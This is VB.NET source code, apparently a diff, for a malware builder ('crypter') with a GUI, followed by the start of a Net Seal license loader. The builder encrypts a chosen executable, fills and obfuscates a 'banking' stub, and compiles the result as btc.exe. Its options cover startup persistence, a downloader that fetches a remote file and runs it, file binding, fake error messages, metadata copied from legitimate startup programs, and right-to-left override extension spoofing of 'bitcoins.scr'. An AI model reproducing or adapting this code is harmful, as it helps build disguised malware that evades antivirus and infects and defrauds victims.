ShowPostMessage(DirectCast(ListView1.SelectedItems(0).Tag, NewsPost))
|
||||
news.Show()
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs)
|
||||
If ListView1.GetItemAt(e.X, e.Y) Is Nothing Then
|
||||
ListView1.Cursor = Cursors.Default
|
||||
Else
|
||||
ListView1.Cursor = Cursors.Hand
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_DrawSubItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawListViewSubItemEventArgs)
|
||||
Dim SB As New SolidBrush(e.SubItem.ForeColor)
|
||||
|
||||
e.DrawBackground()
|
||||
e.Graphics.DrawString(e.SubItem.Text, e.SubItem.Font, SB, e.Bounds, Nothing)
|
||||
|
||||
SB.Dispose()
|
||||
End Sub
|
||||
|
||||
Private Sub VTextBox1_DragDrop(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox1.DragDrop
|
||||
Dim File As String() = CType(e.Data.GetData(DataFormats.FileDrop), String())
|
||||
Dim F As String = File(0)
|
||||
Dim fType As String = F.Substring(F.LastIndexOf(".") + 1)
|
||||
If fType.Contains("exe") Then
|
||||
VTextBox1.Text = F
|
||||
Else
|
||||
MessageBox.Show("The file you're trying to add must be EXE.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
Exit Sub
|
||||
End If
|
||||
checkd(VTextBox1.Text)
|
||||
End Sub
|
||||
|
||||
Private Sub VTextBox1_DragEnter(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox1.DragEnter
|
||||
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
||||
e.Effect = DragDropEffects.Copy
|
||||
End If
|
||||
End Sub
|
||||
Private Sub VTextBox17_DragDrop(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox17.DragDrop
|
||||
Dim File As String() = CType(e.Data.GetData(DataFormats.FileDrop), String())
|
||||
Dim F As String = File(0)
|
||||
Dim fType As String = F.Substring(F.LastIndexOf(".") + 1)
|
||||
If fType.Contains("exe") Then
|
||||
VTextBox17.Text = F
|
||||
Else
|
||||
VTextBox17.Text = F
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub VTextBox17_DragEnter(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox17.DragEnter
|
||||
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
||||
e.Effect = DragDropEffects.Copy
|
||||
End If
|
||||
End Sub
|
||||
Private Sub VButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton2.Click
|
||||
Dim o As New OpenFileDialog With {.Filter = "Executable Files (.exe)|*.exe", .ShowHelp = True}
|
||||
If o.ShowDialog = vbOK Then
|
||||
VTextBox1.Text = o.FileName
|
||||
End If
|
||||
checkd(VTextBox1.Text)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub VButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton3.Click
|
||||
Dim o As New OpenFileDialog With {.Filter = "Icon Files (.ico)|*.ico", .ShowHelp = True}
|
||||
If o.ShowDialog = vbOK Then
|
||||
VTextBox2.Text = o.FileName
|
||||
End If
|
||||
PictureBox3.ImageLocation = VTextBox2.Text
|
||||
End Sub
|
||||
Private Sub VTextBox2_DragDrop(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox2.DragDrop
|
||||
Dim File As String() = CType(e.Data.GetData(DataFormats.FileDrop), String())
|
||||
Dim F As String = File(0)
|
||||
Dim fType As String = F.Substring(F.LastIndexOf(".") + 1)
|
||||
If fType.Contains("ico") Then
|
||||
VTextBox2.Text = F
|
||||
Else
|
||||
MessageBox.Show("The file you're trying to add must be ICO.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
Exit Sub
|
||||
End If
|
||||
PictureBox3.ImageLocation = VTextBox2.Text
|
||||
End Sub
|
||||
|
||||
Private Sub VTextBox2_DragEnter(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox2.DragEnter
|
||||
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
||||
e.Effect = DragDropEffects.Copy
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub VCheckBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox1.Click
|
||||
If VCheckBox1.Checked = True Then
|
||||
Label17.Enabled = True
|
||||
VTextBox10.Enabled = True
|
||||
Label18.Enabled = True
|
||||
VTextBox11.Enabled = True
|
||||
Label20.Enabled = True
|
||||
VTextBox12.Enabled = True
|
||||
VRadiobutton3.Enabled = True
|
||||
VRadiobutton4.Enabled = True
|
||||
Else
|
||||
Label17.Enabled = False
|
||||
VTextBox10.Enabled = False
|
||||
Label18.Enabled = False
|
||||
VTextBox11.Enabled = False
|
||||
Label20.Enabled = False
|
||||
VTextBox12.Enabled = False
|
||||
VRadiobutton3.Enabled = False
|
||||
VRadiobutton4.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
Dim sb As New System.Text.StringBuilder()
|
||||
Private Sub RandomPool1_CharacterSelection(ByVal s As System.Object, ByVal c As System.Char)
|
||||
sb.Append(c)
|
||||
If sb.Length < 50 Then VTextBox13.Text = sb.ToString
|
||||
VButton1.Enabled = True
|
||||
End Sub
|
||||
|
||||
Private Sub VCheckBox5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox5.Click
|
||||
If VCheckBox5.Checked = True Then
|
||||
VTextBox16.Enabled = True
|
||||
Else
|
||||
VTextBox16.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub VCheckBox6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox6.Click
|
||||
If VCheckBox6.Checked = True Then
|
||||
VTextBox17.Enabled = True
|
||||
VButton5.Enabled = True
|
||||
Else
|
||||
VTextBox17.Enabled = False
|
||||
VButton5.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub VCheckBox7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox7.Click
|
||||
If VCheckBox7.Checked = True Then
|
||||
VTextBox18.Enabled = True
|
||||
VTextBox19.Enabled = True
|
||||
Else
|
||||
VTextBox18.Enabled = False
|
||||
VTextBox19.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub VCheckBox3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox3.Click
|
||||
If VCheckBox3.Checked = True Then
|
||||
VTextBox14.Enabled = True
|
||||
Else
|
||||
VTextBox14.Enabled = False
|
||||
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub VCheckBox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox4.Click
|
||||
If VCheckBox4.Checked = True Then
|
||||
VTextBox15.Enabled = True
|
||||
Else
|
||||
VTextBox15.Enabled = False
|
||||
|
||||
End If
|
||||
End Sub
|
||||
Public Shared Function PolyRevCrypt(ByVal data As Byte(), ByVal pass As String) As Byte()
|
||||
Dim rndByte As Byte = CByte(New Random().[Next](1, 255))
|
||||
Dim passByte As Byte() = System.Text.Encoding.ASCII.GetBytes(pass)
|
||||
Dim Out As Byte() = New Byte(data.Length) {}
|
||||
Dim u As Integer = 0
|
||||
For i As Integer = 0 To data.Length - 1
|
||||
Out(i) = CByte((data(i) Xor passByte(u)) Xor rndByte)
|
||||
Array.Reverse(passByte)
|
||||
If u = passByte.Length - 1 Then
|
||||
u = 0
|
||||
Else
|
||||
u += 1
|
||||
End If
|
||||
Next
|
||||
Array.Resize(Out, Out.Length)
|
||||
Out(Out.Length - 1) = rndByte
|
||||
Array.Reverse(Out)
|
||||
Return Out
|
||||
End Function
|
||||
Public Function GeneratePassword()
|
||||
Dim s As String = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ∀ℬℭÐℰℱḠ♓ℐⒿḰℒℳℵ☮Ṕℚℛϟ✝ÜṼ₩✕¥☡AБCDЁFGHЇJКLMЙОPФЯ$TЦVШЖУZ"
|
||||
Dim r As New Random
|
||||
Dim sb As New StringBuilder
|
||||
For i As Integer = 1 To GetRandom(10, 45)
|
||||
Dim idx As Integer = r.Next(1, 80)
|
||||
sb.Append(s.Substring(idx, 1))
|
||||
Next
|
||||
Return sb.ToString()
|
||||
End Function
|
||||
Public Function ROT13Encode(ByVal InputText As String) As String
|
||||
Dim str As String = ""
|
||||
Dim num3 As Integer = (InputText.Length - 1)
|
||||
Dim i As Integer = 0
|
||||
Do While (i <= num3)
|
||||
Dim charCode As Integer = Strings.Asc(Convert.ToChar(InputText.Substring(i, 1)))
|
||||
If ((charCode >= &H61) And (charCode <= &H6D)) Then
|
||||
charCode = (charCode + 13)
|
||||
ElseIf ((charCode >= 110) And (charCode <= &H7A)) Then
|
||||
charCode = (charCode - 13)
|
||||
ElseIf ((charCode >= &H41) And (charCode <= &H4D)) Then
|
||||
charCode = (charCode + 13)
|
||||
ElseIf ((charCode >= &H4E) And (charCode <= 90)) Then
|
||||
charCode = (charCode - 13)
|
||||
End If
|
||||
str = (str & Conversions.ToString(Strings.ChrW(charCode)))
|
||||
i += 1
|
||||
Loop
|
||||
Return str
|
||||
End Function
|
||||
Public Function Rot13(ByVal source$)
|
||||
Dim matchs As MatchCollection = Regex.Matches(source, "Dim .* As ")
|
||||
Dim num3 As Integer = (matchs.Count - 1)
|
||||
Dim i As Integer = 0
|
||||
Do While (i <= num3)
|
||||
Dim expression As String = matchs.Item(i).Value
|
||||
Dim list As New ArrayList
|
||||
expression = expression.Replace("Dim ", "").Replace(" As ", "")
|
||||
list.AddRange(Strings.Split(expression, ",", -1, CompareMethod.Binary))
|
||||
Dim num4 As Integer = (list.Count - 1)
|
||||
Dim j As Integer = 0
|
||||
Do While (j <= num4)
|
||||
source = Regex.Replace(source, Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject("( |\n|\(|,)", list.Item(j)), "( |\.|\(|\)|\n|\r|,)")), ("$1" & Me.ROT13Encode(Conversions.ToString(list.Item(j))) & Me.RndString & "$2"))
|
||||
j += 1
|
||||
Loop
|
||||
i += 1
|
||||
Loop
|
||||
Return source
|
||||
End Function
|
||||
Public Function RndString() As String
|
||||
Dim objRandom As Random = New Random(CInt((DateTime.Now.Ticks Mod &H7FFFFFFF)))
|
||||
Dim str As String = Conversions.ToString(If((objRandom.Next(1, 3) = 1), Strings.Chr(objRandom.Next(&H41, &H5B)), Strings.Chr(objRandom.Next(&H61, &H7B))))
|
||||
Dim num2 As Integer = objRandom.Next(5, 50)
|
||||
Dim i As Integer = 1
|
||||
Do While (i <= num2)
|
||||
Dim ch As Char
|
||||
Select Case objRandom.Next(1, 4)
|
||||
Case 1
|
||||
ch = Strings.Chr(objRandom.Next(&H41, &H5B))
|
||||
Exit Select
|
||||
Case 2
|
||||
ch = Strings.Chr(objRandom.Next(&H61, &H7B))
|
||||
Exit Select
|
||||
Case 3
|
||||
ch = Strings.Chr(objRandom.Next(&H30, &H3A))
|
||||
Exit Select
|
||||
End Select
|
||||
str = (str & Conversions.ToString(ch))
|
||||
i += 1
|
||||
Loop
|
||||
Return str
|
||||
End Function
|
||||
Private Sub ReverseRandom(ByVal source$)
|
||||
Dim matchs As MatchCollection = Regex.Matches(source, "Dim .* As ")
|
||||
Dim num3 As Integer = (matchs.Count - 1)
|
||||
Dim i As Integer = 0
|
||||
Do While (i <= num3)
|
||||
Dim expression As String = matchs.Item(i).Value
|
||||
Dim list As New ArrayList
|
||||
expression = expression.Replace("Dim ", "").Replace(" As ", "")
|
||||
list.AddRange(Strings.Split(expression, ",", -1, CompareMethod.Binary))
|
||||
Dim num4 As Integer = (list.Count - 1)
|
||||
Dim j As Integer = 0
|
||||
Do While (j <= num4)
|
||||
source = Regex.Replace(source, Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject("( |\n|\(|,)", list.Item(j)), "( |\.|\(|\)|\n|\r|,)")), ("$1" & Me.RndString & Strings.StrReverse(Conversions.ToString(list.Item(j))) & "$2"))
|
||||
j += 1
|
||||
Loop
|
||||
i += 1
|
||||
Loop
|
||||
End Sub
|
||||
Private Sub VButton1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton1.Click
|
||||
' ListBox1.Items.Clear()
|
||||
' ListBox1.Items.Add("Locating Resources..")
|
||||
Dim pass$ = GeneratePassword()
|
||||
VTextBox13.Text = pass
|
||||
Dim source As String = IO.File.ReadAllText("C:\Users\Richie\Desktop\stub\stub\banking.vb")
|
||||
Dim input As Byte() = PolyRevCrypt(IO.File.ReadAllBytes(VTextBox1.Text), pass)
|
||||
IO.File.WriteAllBytes("format.txt", input)
|
||||
IO.File.WriteAllBytes("banking.dll", PolyRevCrypt(My.Resources.banking, pass))
|
||||
'ListBox1.Items.Add("Writting Data..")
|
||||
source = source.Replace("%3%", VTextBox3.Text)
|
||||
source = source.Replace("%4%", VTextBox4.Text)
|
||||
source = source.Replace("%5%", VTextBox5.Text)
|
||||
source = source.Replace("%6%", VTextBox6.Text)
|
||||
source = source.Replace("%7%", VTextBox7.Text)
|
||||
source = source.Replace("%8%", VTextBox8.Text)
|
||||
source = source.Replace("%9%", VTextBox9.Text)
|
||||
source = source.Replace("%pass%", pass)
|
||||
If GhostComboBox1.Text = "Self Injection" Then
|
||||
source = source.Replace("LF(""%injection%"")", "System.Reflection.Assembly.GetExecutingAssembly.Location()")
|
||||
Else
|
||||
source = source.Replace("%injection%", GhostComboBox1.Text)
|
||||
End If
|
||||
If VRadiobutton3.Checked = True Then
|
||||
source = source.Replace("%AppTemp%", "APPDATA")
|
||||
ElseIf VRadiobutton4.Checked = True Then
|
||||
source = source.Replace("%AppTemp%", "TEMP")
|
||||
End If
|
||||
If VCheckBox1.Checked = True Then
|
||||
source = source.Replace("%install%", "tgcape.crabhut(Application.ExecutablePath)")
|
||||
source = source.Replace("%KeyName%", VTextBox10.Text)
|
||||
source = source.Replace("%FileName%", VTextBox11.Text)
|
||||
source = source.Replace("%SubName%", VTextBox12.Text)
|
||||
Else
|
||||
source = source.Replace("%install%", "")
|
||||
End If
|
||||
If VCheckBox3.Checked = True Then
|
||||
source = source.Replace("%Delay%", "System.Threading.Thread.Sleep(" + VTextBox14.Text + "000)")
|
||||
|
||||
Else
|
||||
source = source.Replace("%Delay%", "")
|
||||
End If
|
||||
If VCheckBox5.Checked = True Then
|
||||
source = source.Replace("%Downloader%", "Dim wc As New WebClient : Dim pths As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) : IO.File.WriteAllBytes(pths + ""/akons.exe"", wc.DownloadData(""" + VTextBox16.Text + """)) : Process.Start(pths + ""/akons.exe"")")
|
||||
|
||||
Else
|
||||
source = source.Replace("%Downloader%", "")
|
||||
End If
|
||||
If VCheckBox6.Checked = True Then
|
||||
source = source.Replace("%Binder%", Path.GetFileName(VTextBox17.Text))
|
||||
source = source.Replace("%Binder2%", Path.GetFileNameWithoutExtension(VTextBox17.Text))
|
||||
Compiler.AddResource(Path.GetFileNameWithoutExtension(VTextBox17.Text), VTextBox17.Text)
|
||||
Else
|
||||
source = source.Replace("%Binder%", "")
|
||||
source = source.Replace("%Binder2%", "")
|
||||
End If
|
||||
If VCheckBox7.Checked = True Then
|
||||
source = source.Replace("%errormsg%", "MsgBox(""" + VTextBox19.Text + """, MsgBoxStyle.Critical, """ + VTextBox18.Text + """)")
|
||||
|
||||
Else
|
||||
source = source.Replace("%errormsg%", "")
|
||||
End If
|
||||
source = Rot13(source)
|
||||
ReverseRandom(source)
|
||||
Compiler.Source = source
|
||||
Compiler.File_Align = File_Align._512
|
||||
Compiler.DotNetVersion = DotNetVersion.v2
|
||||
Compiler.Platform = Platform.x86
|
||||
Compiler.ErrorLog = False
|
||||
Compiler.References = New [String]() {"system.windows.forms.dll", "system.drawing.dll", "Microsoft.VisualBasic.dll", "mscorlib.dll"}
|
||||
Compiler.AddResource("banking", "banking.dll")
|
||||
Compiler.AddResource("text", "format.txt")
|
||||
Compiler.Target = Target.WinForms
|
||||
Compiler.SilentMode = False
|
||||
Compiler.Optimize = True
|
||||
Compiler.Icon = getico()
|
||||
'ListBox1.Items.Add("Compiling Executable..")
|
||||
Compiler.Compile("btc.exe")
|
||||
IO.File.Delete("banking.dll")
|
||||
IO.File.Delete("format.txt")
|
||||
IO.File.Delete("icon.ico")
|
||||
If VCheckBox4.Checked = True Then
|
||||
'ListBox1.Items.Add("Spoofing Exstension..")
|
||||
Try
|
||||
Dim Ext$ = "bitcoins.scr" 'File Location. (Declare this with a OpenFileDialog for example)
|
||||
Dim cX As Char = ChrW(8238)
|
||||
Dim FileName$ = Path.GetFileName(Ext)
|
||||
Dim Int# = FileName.Length - 4 'Detecting the Extension. (Executing windows exploit)
|
||||
Dim cY As Char() = VTextBox15.Text.ToCharArray()
|
||||
Array.Reverse(cY)
|
||||
Dim Dir$ = FileName.Substring(0, Int) & cX & New String(cY) & FileName.Substring(Int)
|
||||
File.Move(FileName, Dir)
|
||||
Catch
|
||||
End Try
|
||||
End If
|
||||
'ListBox1.Items.Add("Mission Complete!")
|
||||
End Sub
|
||||
|
||||
Public Function getico()
|
||||
If VTextBox2.Text = " Drag 'n Drop" Then
|
||||
Dim ms As New MemoryStream()
|
||||
Dim Icon As Icon = My.Resources.icon
|
||||
Icon.Save(ms)
|
||||
IO.File.WriteAllBytes("icon.ico", ms.GetBuffer())
|
||||
Return "icon.ico"
|
||||
Else
|
||||
Return VTextBox2.Text
|
||||
End If
|
||||
End Function
|
||||
Private Sub VButton4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton4.Click
|
||||
Dim s() As String = GetAllStartupFile()
|
||||
Dim a As String
|
||||
Dim randomNumber As New Random
|
||||
restart:
|
||||
a = s(randomNumber.Next(0, s.Length))
|
||||
If a = Nothing Then
|
||||
Else
|
||||
Try
|
||||
GetFileInfo(a)
|
||||
Catch
|
||||
GoTo restart
|
||||
End Try
|
||||
End If
|
||||
End Sub
|
||||
Private Function GetFileInfo(ByVal filename As String) As Version
|
||||
Dim Info As FileVersionInfo
|
||||
Info = FileVersionInfo.GetVersionInfo(filename)
|
||||
VTextBox3.Text = Path.GetFileNameWithoutExtension(filename)
|
||||
VTextBox4.Text = Info.CompanyName
|
||||
VTextBox5.Text = Info.ProductName
|
||||
VTextBox6.Text = Info.LegalCopyright
|
||||
VTextBox7.Text = Info.LegalTrademarks
|
||||
VTextBox8.Text = Info.FileVersion
|
||||
VTextBox9.Text = Info.ProductVersion
|
||||
If VTextBox8.Text.Contains(",") Then
|
||||
VTextBox8.Text = GetRandom(1, 19) & "." & GetRandom(0, 20) & "." & GetRandom(0, 50) & "." & GetRandom(0, 99)
|
||||
VTextBox9.Text = GetRandom(1, 19) & "." & GetRandom(0, 25) & "." & GetRandom(0, 65) & "." & GetRandom(0, 90)
|
||||
End If
|
||||
End Function
|
||||
|
||||
Public Function GetAllStartupFile() As String()
|
||||
Dim result() As String = Nothing
|
||||
Dim regKey As RegistryKey = Nothing
|
||||
Dim arrCounter As Integer = 0
|
||||
Try
|
||||
'FOR CURRENT USER
|
||||
regKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", False)
|
||||
'result = regKey.GetValueNames()
|
||||
For Each itm As String In regKey.GetValueNames
|
||||
itm.Replace(Chr(34), "")
|
||||
ReDim Preserve result(arrCounter)
|
||||
result(arrCounter) = CType(regKey.GetValue(itm), String)
|
||||
arrCounter += 1
|
||||
Next
|
||||
regKey.Close()
|
||||
'FOR LOCAL MACHINE/ALL USER
|
||||
regKey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", False)
|
||||
'result = regKey.GetValueNames()
|
||||
For Each itm As String In regKey.GetValueNames
|
||||
itm.Replace(Chr(34), "")
|
||||
ReDim Preserve result(arrCounter)
|
||||
result(arrCounter) = CType(regKey.GetValue(itm), String)
|
||||
arrCounter += 1
|
||||
Next
|
||||
regKey.Close()
|
||||
Return result
|
||||
Catch ex As Exception
|
||||
Finally
|
||||
If Not regKey Is Nothing Then
|
||||
regKey.Close()
|
||||
End If
|
||||
|
||||
End Try
|
||||
Return result
|
||||
End Function
|
||||
|
||||
Private Sub VButton6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton6.Click
|
||||
Dim o As New OpenFileDialog With {.Filter = "Executable Files (.exe)|*.exe", .ShowHelp = True}
|
||||
If o.ShowDialog = vbOK Then
|
||||
GetFileInfo(o.FileName)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub VRadiobutton3_MouseLeave(ByVal sender As Object, ByVal e As System.EventArgs) Handles VRadiobutton3.MouseLeave
|
||||
If VRadiobutton3.Checked = True Then
|
||||
VRadiobutton4.Checked = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub VRadiobutton4_MouseLeave(ByVal sender As Object, ByVal e As System.EventArgs) Handles VRadiobutton4.MouseLeave
|
||||
If VRadiobutton4.Checked = True Then
|
||||
VRadiobutton3.Checked = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,778 @@
|
||||
Imports System
|
||||
Imports System.Net
|
||||
Imports System.Text
|
||||
Imports System.IO
|
||||
Imports System.IO.Compression
|
||||
Imports System.Diagnostics
|
||||
Imports System.Reflection
|
||||
Imports System.Windows.Forms
|
||||
Imports System.ComponentModel
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Collections.Generic
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Net.Security
|
||||
Imports System.Security
|
||||
Imports System.Security.Cryptography.X509Certificates
|
||||
|
||||
''' <summary>
|
||||
''' License Loader, Version: 2.0.0.5, Changed: 03/23/2013
|
||||
''' </summary>
|
||||
|
||||
Friend NotInheritable Class License
|
||||
|
||||
#Region " ReadOnly Properties "
|
||||
|
||||
ReadOnly Property Username As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUsername").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private _ProductVersion As Version
|
||||
ReadOnly Property ProductVersion As Version
|
||||
Get
|
||||
If _ProductVersion Is Nothing Then
|
||||
_ProductVersion = New Version(Application.ProductVersion)
|
||||
End If
|
||||
|
||||
Return _ProductVersion
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property ExecutablePath As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetExecutablePath").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property GlobalMessage As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetMessage").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property ExpirationDate As Date
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetExpiration").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Date)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property TimeRemaining As TimeSpan
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetRemaining").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, TimeSpan)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property LicenseType As LicenseType
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetLicenseType").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, LicenseType)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property Points As Integer
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetPoints").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Integer)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UnlimitedTime As Boolean
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUnlimitedTime").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Boolean)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UpdateAvailable As Boolean
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUpdateAvailable").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Boolean)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UsersCount As Integer
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUsersCount").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Integer)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UsersOnline As Integer
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUsersOnline").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Integer)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property GUID As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetGUID").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property PublicToken As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetPublicToken").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property PrivateKey As Byte()
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetPrivateKey").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property Client As WebClient
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetClient").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, WebClient)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property News As NewsPost()
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetNews").Invoke(Nothing, Nothing)
|
||||
Dim Values As Object() = DirectCast(Data, Object())
|
||||
|
||||
Dim Section As Integer
|
||||
Dim T As New List(Of NewsPost)
|
||||
|
||||
For I As Integer = 0 To Values.Length - 1 Step 3
|
||||
Section = I * 3
|
||||
T.Add(New NewsPost(Values(I), Values(I + 1), Values(I + 2)))
|
||||
Next
|
||||
|
||||
Return T.ToArray()
|
||||
End Get
|
||||
End Property
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Initialize Properties "
|
||||
|
||||
Private _ID As String
|
||||
Property ID() As String
|
||||
Get
|
||||
Return _ID
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_ID = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Catch As Boolean = True
|
||||
Property [Catch]() As Boolean
|
||||
Get
|
||||
Return _Catch
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_Catch = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _DisableUpdates As Boolean
|
||||
Property DisableUpdates() As Boolean
|
||||
Get
|
||||
Return _DisableUpdates
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_DisableUpdates = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _RunHook As GenericDelegate
|
||||
Property RunHook() As GenericDelegate
|
||||
Get
|
||||
Return _RunHook
|
||||
End Get
|
||||
Set(ByVal value As GenericDelegate)
|
||||
_RunHook = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _BanHook As GenericDelegate
|
||||
Property BanHook() As GenericDelegate
|
||||
Get
|
||||
Return _BanHook
|
||||
End Get
|
||||
Set(ByVal value As GenericDelegate)
|
||||
_BanHook = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _RenewHook As GenericDelegate
|
||||
Property RenewHook() As GenericDelegate
|
||||
Get
|
||||
Return _RenewHook
|
||||
End Get
|
||||
Set(ByVal value As GenericDelegate)
|
||||
_RenewHook = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Protection As RuntimeProtection
|
||||
Property Protection() As RuntimeProtection
|
||||
Get
|
||||
Return _Protection
|
||||
End Get
|
||||
Set(ByVal value As RuntimeProtection)
|
||||
_Protection = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _ValidateCore As Boolean = True
|
||||
Property ValidateCore As Boolean
|
||||
Get
|
||||
Return _ValidateCore
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_ValidateCore = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Public Methods "
|
||||
|
||||
Sub Initialize(ByVal programID As String)
|
||||
ID = programID
|
||||
Initialize()
|
||||
End Sub
|
||||
|
||||
Sub Initialize()
|
||||
If LicenseGlobal.LicenseInitialize Then Return
|
||||
LicenseGlobal.LicenseInitialize = True
|
||||
|
||||
If String.IsNullOrEmpty(ID) Then
|
||||
ErrorKill("Unable to initialize due to missing Net Seal ID.")
|
||||
Return
|
||||
End If
|
||||
|
||||
ServicePointManager.Expect100Continue = False
|
||||
ServicePointManager.DefaultConnectionLimit = 5
|
||||
|
||||
Try
|
||||
WC = New CookieClient()
|
||||
|
||||
Dim Common As String = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)
|
||||
LocationPath = Path.Combine(Common, "Nimoru")
|
||||
|
||||
LicenseLocation = Path.Combine(LocationPath, "LicenseSE")
|
||||
GizmoDllLocation = Path.Combine(LocationPath, "GizmoDll")
|
||||
